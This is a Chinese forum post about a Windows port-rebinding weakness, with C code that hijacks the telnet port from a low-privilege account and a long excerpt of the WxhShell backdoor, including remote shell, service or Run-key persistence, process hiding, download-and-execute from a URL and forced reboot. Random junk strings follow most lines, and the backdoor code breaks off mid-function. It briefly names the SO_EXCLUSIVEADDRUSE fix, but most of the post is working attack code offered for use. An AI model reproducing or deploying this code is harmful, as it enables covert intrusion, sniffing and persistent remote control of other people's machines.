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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n4^*h4J7  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?sV[MsOsC  
;5<P|:^  
  saddr.sin_family = AF_INET; 0r1g$mKb  
Xa4GqV9M/-  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); FI\IY R  
'4$lL 6ly>  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); R"NGJu9  
ppEJs  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S,lxM,DL&  
doLkrEm&  
  这意味着什么?意味着可以进行如下的攻击: Y mq3ty]Pe  
dY1J<L}")  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 a IQOs  
;U |NmC+  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) e[s5N:IUd3  
/4yOs@#  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0[.3Es:_  
8GY.){d!l  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  e{5,'(1]  
  7krh4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 EY]a6@;  
:JR<SFjm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Lj4&_b9  
m)r]F#@/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z+0?yQ=%  
jM*AL X  
  #include Y=9j2 ]t  
  #include 4KE)g  
  #include UIn^_}jF`  
  #include    ?gLAWz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9X3yp:>V  
  int main() \4aKLr  
  { Khj=llo,  
  WORD wVersionRequested; h77IWo6%  
  DWORD ret; 9[kX/#~W*  
  WSADATA wsaData; 8\DME  
  BOOL val; w$b~x4y%  
  SOCKADDR_IN saddr; ^+M><jE9  
  SOCKADDR_IN scaddr; }?J~P%HpF  
  int err; 82|q7*M*.  
  SOCKET s; |ixGY^3;  
  SOCKET sc; }hCaNQ&jH  
  int caddsize; Ss 2$n  
  HANDLE mt; 0rcjorWI  
  DWORD tid;   ^PC\E}  
  wVersionRequested = MAKEWORD( 2, 2 ); xo(k?+P>.  
  err = WSAStartup( wVersionRequested, &wsaData ); l2(.>-#  
  if ( err != 0 ) { dN<5JQql  
  printf("error!WSAStartup failed!\n"); wk@yTTnb  
  return -1; ;|6FdU  
  } 2hy NVG&$  
  saddr.sin_family = AF_INET; %lV@:"G  
   [7RheXO <  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 gGmxx,i  
~Zmi(Ra  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {EL'd!v7e  
  saddr.sin_port = htons(23); -Un=T X  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YwXXXh  
  { N#UXP5C(  
  printf("error!socket failed!\n"); a!D*)z Y  
  return -1; GQ<Ds{exs>  
  } %@P``  
  val = TRUE; 9k}<Fz"^.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dgslUg9z3g  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x<@kjfm5  
  { HVGr-/  
  printf("error!setsockopt failed!\n"); v J-LPTB  
  return -1; O~6Q;qP  
  } 8)Zk24:])_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7 WP%J-   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xorTL8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 T/5"}P`  
<raG07{!*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) y:,9I` aW  
  { LE K/mCL  
  ret=GetLastError(); r4?b0&Xq  
  printf("error!bind failed!\n"); 5>P7]?U.]  
  return -1; Oqmg;\pm  
  } 61Bhm:O5W  
  listen(s,2); d&u 7]<yDA  
  while(1) 7@IFp~6<qK  
  { EE]=f=3  
  caddsize = sizeof(scaddr); s^cc@C  
  //接受连接请求 .H2qs{N!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); +zsZNJ(U  
  if(sc!=INVALID_SOCKET) w" JGO  
  { 5oJ Dux }  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); .LObOR 5J7  
  if(mt==NULL) h@@d{{IqT  
  { 4uUs7T  
  printf("Thread Creat Failed!\n"); <s}|ZnGE   
  break; qm'b'!gq~  
  } sT`^ljp4  
  } "yW&<7u1  
  CloseHandle(mt); SX+4 HJB  
  } %$TEDr!  
  closesocket(s); q{E"pyt36R  
  WSACleanup(); ` 8UWE {  
  return 0; `hzrfum4  
  }   ?PH/?QP  
  DWORD WINAPI ClientThread(LPVOID lpParam) xnbsg!`;7W  
  { N _G4_12(  
  SOCKET ss = (SOCKET)lpParam; vCb]%sd-U  
  SOCKET sc; q}wj}t#  
  unsigned char buf[4096]; {6O0.}q]&  
  SOCKADDR_IN saddr; )o jDRJ&  
  long num; [(|v`qMv/g  
  DWORD val;  rN"Xz  
  DWORD ret; P'tMu6+)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /C$ xH@bb  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ` ?9T~,  
  saddr.sin_family = AF_INET; ZPyM>XK$4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *QH[,F`I  
  saddr.sin_port = htons(23); 8bOT*^b$H  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T4r5s  
  { NR4Jn?l{  
  printf("error!socket failed!\n"); 6^E`Sa! s  
  return -1; o@/xPo|  
  } VE]6wwV2  
  val = 100; AIh*1>2Xn  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qS.)UaA  
  { TnA?u (R%  
  ret = GetLastError(); xo  Gb  
  return -1; yN\e{;z`  
  } :wipE]~4t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #hJQbv=B"  
  { }+0z,s~0.  
  ret = GetLastError(); =nU/ [T.  
  return -1; h/<=u9J  
  } F P@qh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \84v-VK  
  { i8~$o:&HT  
  printf("error!socket connect failed!\n"); \H4U8)l  
  closesocket(sc); xU}M;4kH~  
  closesocket(ss); 73 V"s  
  return -1; }Hy ~i  
  } PZ,z15PG]  
  while(1) >uy%-aXiVa  
  { .Xd0 Q=1h  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8!zb F<W9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mp\%M 1<  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -(IC~   
  num = recv(ss,buf,4096,0); y ~AmG~  
  if(num>0) {DBIonY];  
  send(sc,buf,num,0); >F3.c%VU]w  
  else if(num==0) J`oTes,  
  break; }U[-44r:  
  num = recv(sc,buf,4096,0); 9y^/GwUQ  
  if(num>0) I:$"E% >=  
  send(ss,buf,num,0); {QQl$ys/  
  else if(num==0) E>pVn2|  
  break; fbC~WV#  
  } M35Ax],:^  
  closesocket(ss); Bo r7]#  
  closesocket(sc); ^$Krub{|  
  return 0 ; ssl&5AS  
  } ;%zC@a~{  
oT&m4I  
gyu6YD8L  
========================================================== %fhNxR  
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下边附上一个代码,,WXhSHELL SDBt @=Nl  
zn)yFnB!TH  
========================================================== `;F2n2@  
\VN=Ef\E  
#include "stdafx.h" &q>zR6jne  
|LmSWy*7  
#include <stdio.h> ^8K/xo-  
#include <string.h> H+l,)Se  
#include <windows.h>  t;47(U  
#include <winsock2.h> B8V,)rn  
#include <winsvc.h> C_->u4 -  
#include <urlmon.h> usOx=^?=  
P5?<_x0v4b  
#pragma comment (lib, "Ws2_32.lib") >ttuum12w  
#pragma comment (lib, "urlmon.lib") ndi+xaQtG  
#ia;- 3  
#define MAX_USER   100 // 最大客户端连接数 G/{ ~_&t  
#define BUF_SOCK   200 // sock buffer 9%!dNnUk  
#define KEY_BUFF   255 // 输入 buffer V'StvU  
S_Z`so}  
#define REBOOT     0   // 重启 C;qMw-*F  
#define SHUTDOWN   1   // 关机 Q_O*oT(0  
4| Ui?.4=  
#define DEF_PORT   5000 // 监听端口 2]ti!<  
Ty+I8e]{  
#define REG_LEN     16   // 注册表键长度 )`?%]D  
#define SVC_LEN     80   // NT服务名长度 V3.t;.@  
'*!L!VJ  
// 从dll定义API IOEM[zhb$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %Kto.Xq  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `fS^ j-_M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .zC*Z&e,.[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A';QuWdT  
<z)E (J\  
// wxhshell配置信息 \:&@;!a  
struct WSCFG { ]J@/p:S>  
  int ws_port;         // 监听端口 P!<[U!<hH  
  char ws_passstr[REG_LEN]; // 口令 ,rO[mNk9@  
  int ws_autoins;       // 安装标记, 1=yes 0=no *%A}x   
  char ws_regname[REG_LEN]; // 注册表键名 k4y}&?$B  
  char ws_svcname[REG_LEN]; // 服务名 rK|*hcy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 I>"Ci(N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 A6p`ma $L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {a "RXa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lhPGE_\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C1fyV]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v?j!&d>  
@8gEH+r  
}; (3%t+aqq  
N"c(e6  
// default Wxhshell configuration rC }}r!!  
struct WSCFG wscfg={DEF_PORT, i_l+:/+G+  
    "xuhuanlingzhe", M{KW@7j  
    1, flnVYQe  
    "Wxhshell", r@$ w*%  
    "Wxhshell", 8cdsToF(e.  
            "WxhShell Service", (:sZ b?*  
    "Wrsky Windows CmdShell Service", ZkWL_ H)  
    "Please Input Your Password: ", b^Cfhy^RTq  
  1, OhwF )p=  
  "http://www.wrsky.com/wxhshell.exe", O@&+} D>  
  "Wxhshell.exe" 5H !y46z  
    }; Tr.hmGU  
5D' bJ6PO  
// 消息定义模块 4#BRx#\O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m<@z}%v-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =`t^~.5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]QrR1Rg  
char *msg_ws_ext="\n\rExit."; 5*G%IR@@LK  
char *msg_ws_end="\n\rQuit."; GYK\LHCPd  
char *msg_ws_boot="\n\rReboot..."; JN[0L:  
char *msg_ws_poff="\n\rShutdown..."; .v])S}K  
char *msg_ws_down="\n\rSave to "; @Icq1zb] y  
{fz$Z!8-  
char *msg_ws_err="\n\rErr!"; k-jahm4  
char *msg_ws_ok="\n\rOK!"; oXgdLtsu  
IeTdN_8  
char ExeFile[MAX_PATH]; 0k[2jh  
int nUser = 0; jP=Hf=:$  
HANDLE handles[MAX_USER]; DxSsg  
int OsIsNt; 9&  
n-afDV  
SERVICE_STATUS       serviceStatus; 4 I@p%g&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,8VU&?`<}  
a!,r46>$H  
// 函数声明 v1+U;Th>g  
int Install(void); nWaNT-  
int Uninstall(void); G|4^_`-  
int DownloadFile(char *sURL, SOCKET wsh); G+WM`:v8%  
int Boot(int flag); GP,<`l&  
void HideProc(void); I1=(. *B}  
int GetOsVer(void); ;=~Xr"(/z  
int Wxhshell(SOCKET wsl); k1}hIAk3u  
void TalkWithClient(void *cs); S!Jh2tsg`-  
int CmdShell(SOCKET sock); #R5U   
int StartFromService(void); 1r9f[j~  
int StartWxhshell(LPSTR lpCmdLine); -5Utl os  
|b.z*G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HW[L [&/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *e{PxaF!C  
tP(h9|[N  
// 数据结构和表定义 P:{<*`q  
SERVICE_TABLE_ENTRY DispatchTable[] = Qvqqvk_tv  
{ Y83GKh,*  
{wscfg.ws_svcname, NTServiceMain}, s&tE_  
{NULL, NULL} 0A[esWmP  
}; #kcSQ'  
C/tr$.2H=  
// 自我安装 WUoOGbA `  
int Install(void) &M[f&_"8Q  
{ Lp&k3?W  
  char svExeFile[MAX_PATH]; :qj<p3w~}  
  HKEY key; 7y<1LQ;}  
  strcpy(svExeFile,ExeFile); :T@r*7hNT  
ejePDgi_[  
// 如果是win9x系统,修改注册表设为自启动 Poy^RpnX  
if(!OsIsNt) { YT-=;uK^S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #&Is GyU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2F+gF~znQ  
  RegCloseKey(key); w*!wQ,o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k$"d^*R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LN^f1/ b*  
  RegCloseKey(key); {1Eu7l-4  
  return 0; {"}V&X160o  
    } Sycw %k  
  } 1mgLX_U9  
} hYg'2OG  
else { kfrY1  
U@-2Q=  
// 如果是NT以上系统,安装为系统服务 M\2"gT-LV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ciihsm  
if (schSCManager!=0) bbN%$/d  
{ ;_"U "?h_J  
  SC_HANDLE schService = CreateService 8l+H"M&|  
  ( k*Nr!Z!}  
  schSCManager, #I0pYA2m  
  wscfg.ws_svcname, jAhP> t:  
  wscfg.ws_svcdisp, lK(Fg  
  SERVICE_ALL_ACCESS, e XV@.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , < n?=|g  
  SERVICE_AUTO_START, l*}FXL  
  SERVICE_ERROR_NORMAL, SreYJT%  
  svExeFile, c$H+g,7xQ-  
  NULL, p]gT&[iJ  
  NULL, `!4,jd  
  NULL, F4C!CUI  
  NULL, +l 0g`:  
  NULL 93Yn`Av;  
  ); SaDA`JmO  
  if (schService!=0) "lVqU  
  { l|"6yB |  
  CloseServiceHandle(schService); \vbk#G hH  
  CloseServiceHandle(schSCManager); F:g=i}7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ff2d @P,!  
  strcat(svExeFile,wscfg.ws_svcname); %,V YiW0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wS XVyg{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nb, 2,H  
  RegCloseKey(key); 3MBN:dbQ  
  return 0; [c&B|h=>  
    } v}(6 <wnnS  
  } oh-|'5+,;h  
  CloseServiceHandle(schSCManager); x_<qzlQt  
} 4 J^Q]-Z  
} k4\UK#ODe  
4{na+M  
return 1; Va<eusl  
} <iLM{@lZvJ  
S]>wc yy=n  
// 自我卸载 WNX5iwm  
int Uninstall(void) 2HL9E|h  
{ &1^%Nxu1  
  HKEY key; X@wm1{!  
ig#r4nQ=  
if(!OsIsNt) { ^Z,q$Gp~P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l* dV\ B  
  RegDeleteValue(key,wscfg.ws_regname); vZAv_8S)  
  RegCloseKey(key); 5er@)p_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bud&R4+  
  RegDeleteValue(key,wscfg.ws_regname); x?,9_va]  
  RegCloseKey(key);  Lc2QXeo8  
  return 0; FQsUm?ac:  
  } v zo4g,Bj  
} onei4c>@  
} -*ELLY[  
else { JMa3btLy(  
V%ii3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iz^qR={bW  
if (schSCManager!=0) IyUdZ,ba  
{ UE0$ o?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C*kK)6v `  
  if (schService!=0) Kuw^qX"  
  { C"V%# K  
  if(DeleteService(schService)!=0) { [3>GGX[Ic  
  CloseServiceHandle(schService); Nh!_l  
  CloseServiceHandle(schSCManager); 6z,Dyy]tl  
  return 0; 7(k^a)~PL  
  } sfD5!Z9#1  
  CloseServiceHandle(schService); LDj<?'  
  } oOU1{[  
  CloseServiceHandle(schSCManager); Pcd *">v  
} 0~WF{_0|  
} jA(vTR.`  
gBw^,)Q{0Y  
return 1; '?5j[:QY@  
} -apXI.  
tD=@SX'Y  
// 从指定url下载文件 DocbxB={I  
int DownloadFile(char *sURL, SOCKET wsh) z%d#@w0X1  
{ 3z =^(Y  
  HRESULT hr; v4vf }.L]  
char seps[]= "/"; p.JXS n  
char *token; @_ygnNn4R  
char *file; udk.zk  
char myURL[MAX_PATH]; :<S<f%  
char myFILE[MAX_PATH]; tNaL;0#Tx  
G-um`/<%  
strcpy(myURL,sURL); v syWm.E  
  token=strtok(myURL,seps); np$ zo  
  while(token!=NULL) #=c`of6  
  { ^q[gxuL_  
    file=token; `FF8ie8L  
  token=strtok(NULL,seps); D)b}f`  
  } ,^s0</v e  
_r Y,}\  
GetCurrentDirectory(MAX_PATH,myFILE); ;@mRo`D`  
strcat(myFILE, "\\"); Sr Ca3PA  
strcat(myFILE, file); _'0 @%P%  
  send(wsh,myFILE,strlen(myFILE),0); (U1]:tZ<.  
send(wsh,"...",3,0); *A}WP_ZQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (GK pA}~R  
  if(hr==S_OK) Z9`TwS@x[  
return 0; )q~DTR^z-  
else ~eh0[mF^]  
return 1; 0DPxW8Y-`  
sp9W?IJ 6c  
} u_O# @eOc  
GC@+V|u  
// 系统电源模块 =6 r:A<F!n  
int Boot(int flag) 7N8H)X  
{ J1ON,&[J  
  HANDLE hToken; BzJ;%ywS  
  TOKEN_PRIVILEGES tkp; A&5:ATQ/|  
. )XP\ m\  
  if(OsIsNt) { @I3eK^#|P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q1VH5'p@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); b{M7w  
    tkp.PrivilegeCount = 1; vG.9 H_&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N#xG3zZl|N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^_+XDO  
if(flag==REBOOT) { B}?IEpYp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;\;M =&{}  
  return 0; -1|iz2^N  
} PgM(l3x  
else { 1eS_ nLFw~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n]Li->1  
  return 0; _Q(g(p&  
} D1s4`V -  
  } .3qu9eP   
  else { .Nm su+s  
if(flag==REBOOT) { T? ,P*l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "UVFU-Z  
  return 0; zDOKShG  
} Y'VBz{brf  
else { njPPztv/@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hcCp,b  
  return 0; 2{,n_w?Wy  
} 9SQ4cv*2  
} @p=AWi}\  
q%YV$$c   
return 1; R,2P3lv1v@  
} 0ZpFE&  
Q4*-wF-P  
// win9x进程隐藏模块 (7FW9X;  
void HideProc(void) LtgXShp_!  
{ ,FzeOSy'p  
2;3f=$3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kn;D?ioY  
  if ( hKernel != NULL ) # uCB)n&.  
  { o(kM9G|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E6B!+s!]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9O.YOiW  
    FreeLibrary(hKernel); P$GjF-!:  
  } TtD@'QXq  
24c ek  
return; Ey[On^$  
} cE'L% Z  
;lX(}2tXW  
// 获取操作系统版本 E.bi05l  
int GetOsVer(void) bvBHYf:^  
{ wN-i?Ek0;  
  OSVERSIONINFO winfo; 1j-te-}"c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^D^JzEy'?C  
  GetVersionEx(&winfo); $ <8~k^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OFkNl}D  
  return 1; YcX/{L[9o  
  else Ter :sge7  
  return 0; zvc`3  
} 'J)2g"T@  
=:,xxqy  
// 客户端句柄模块 -f1k0QwL  
int Wxhshell(SOCKET wsl) 0JuD ^  
{ TJ8E"t*)  
  SOCKET wsh; 1nknSw#  
  struct sockaddr_in client; {:nQl}  
  DWORD myID; HmmS(fU  
g9fq5E<G  
  while(nUser<MAX_USER) #EGA#SKoq  
{ ,B}I?vN.  
  int nSize=sizeof(client); MTGiAFE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ty(@+M~-  
  if(wsh==INVALID_SOCKET) return 1; V&]DzjT/  
#L}+H!Myh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -5l6&Y   
if(handles[nUser]==0) lfsqC};#\  
  closesocket(wsh); HL3XyP7  
else /e}#' H   
  nUser++; .9[45][FK  
  } [k$*4 u >  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); CI:^\-z  
b#)U UGmI  
  return 0; abNV4 ,M  
} FXdD4X)  
S/ywA9~3Q  
// 关闭 socket aA`/E  
void CloseIt(SOCKET wsh) p{)5k  
{ _96~rel_P  
closesocket(wsh); \vfBrN  
nUser--; gwd (N  
ExitThread(0); nP~({ :l8X  
}  6Si-u  
5v\!]?(O;  
// 客户端请求句柄 ma$Prd  
void TalkWithClient(void *cs) !}+tdT(y  
{ |wE3UWsy  
|H}m4-+*  
  SOCKET wsh=(SOCKET)cs; [L $9p@I  
  char pwd[SVC_LEN]; 3l<S}k@M)  
  char cmd[KEY_BUFF]; ^ &/G|  
char chr[1]; I:V0Xxz5t  
int i,j; ]&~]#vB#  
{4aWR><  
  while (nUser < MAX_USER) {  }}<Z,/O  
BElJB&I  
if(wscfg.ws_passstr) { Il@Y|hK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z\ss4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q}BzyC=:n  
  //ZeroMemory(pwd,KEY_BUFF); gnp~OVDqfL  
      i=0; ^[-el=oKn0  
  while(i<SVC_LEN) { ;8S/6FI  
>N\0"F7.  
  // 设置超时 t2" (2  
  fd_set FdRead; !  Z`0(d  
  struct timeval TimeOut; l=N2lHU  
  FD_ZERO(&FdRead); raVA?|'g~  
  FD_SET(wsh,&FdRead); 9~rUkHD  
  TimeOut.tv_sec=8; Z|9u]xL  
  TimeOut.tv_usec=0; ajRSMcKb7i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); am_gH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tj]9~eJ-  
ZlYPoOq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cd79 tu|  
  pwd=chr[0]; ;Yfv!\^|  
  if(chr[0]==0xd || chr[0]==0xa) { :4)Qt  
  pwd=0; qjAWeS/  
  break; b*fgv9Kh'  
  } [+ *$\  
  i++; /WV7gO&L1  
    } >R{qESmP=  
1 Q-bYJG  
  // 如果是非法用户,关闭 socket AB Xl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x6afI<dm  
} F["wD O  
SjjIr ^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *{undZ?(>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `u!l3VZ/4  
, $Qo =  
while(1) { K'iIJA*Sn  
#eU.p&Zc  
  ZeroMemory(cmd,KEY_BUFF); M}_ i52  
jJ4qR:]  
      // 自动支持客户端 telnet标准   &Lt[WT$  
  j=0; ultG36.x  
  while(j<KEY_BUFF) { \7MHaQvS   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GBFw+v/|4  
  cmd[j]=chr[0]; &AuF]VT  
  if(chr[0]==0xa || chr[0]==0xd) { 0U/K7sZ  
  cmd[j]=0; c(co\A.]:6  
  break; 5Ft5@UF~  
  } VN0mDh?E  
  j++; iV FkYx%}  
    } nhSb~QqEh  
)5JU:jNy  
  // 下载文件 =K&\E2kA4  
  if(strstr(cmd,"http://")) { 6qe*@o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6+V\t+aug  
  if(DownloadFile(cmd,wsh)) N$Y" c*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P+t#4J  
  else V>64/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]%uZ\Q;9p  
  } :0K8h  
  else { E| YdcS  
]Mj/&b>"e  
    switch(cmd[0]) { 7:]Pl=:X  
  J`IDlGFYp  
  // 帮助 G a;.a  
  case '?': { lT\a2.E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '6$*YN&5  
    break; >U1R.B7f  
  } H* ,,^  
  // 安装 Hv]7e|  
  case 'i': { E@a3~a  
    if(Install()) #U=X NU}k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }7{t^>;D  
    else ~Au,#7X)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]fnnZ  
    break; d_S*#/k  
    } %8aC1x  
  // 卸载 nFX_+4V2  
  case 'r': { 4RKW  
    if(Uninstall()) PUQES(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ yh'lh/  
    else N3t0-6$_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o }Tz"bN  
    break; E6Rz@"^XV  
    } sfr(/mp(  
  // 显示 wxhshell 所在路径 y5= `ap  
  case 'p': { Ae^X35  
    char svExeFile[MAX_PATH]; p <eC<dtu  
    strcpy(svExeFile,"\n\r"); @ZN^1?][  
      strcat(svExeFile,ExeFile); 3$vRW.c\q  
        send(wsh,svExeFile,strlen(svExeFile),0); Md)zEj`\  
    break; k~%<Ir1V]  
    } 2=-utN@Z  
  // 重启 m6eZ_ &+u  
  case 'b': { q0%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wn Y$fT9  
    if(Boot(REBOOT)) at!Y3VywG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l ?Y_~Wuw  
    else { ^^i6|l1  
    closesocket(wsh); *?QE2&S:  
    ExitThread(0); 3QI?[R.  
    } G.+l7bnZM  
    break; B) $c|dUV  
    } WWwUwUi  
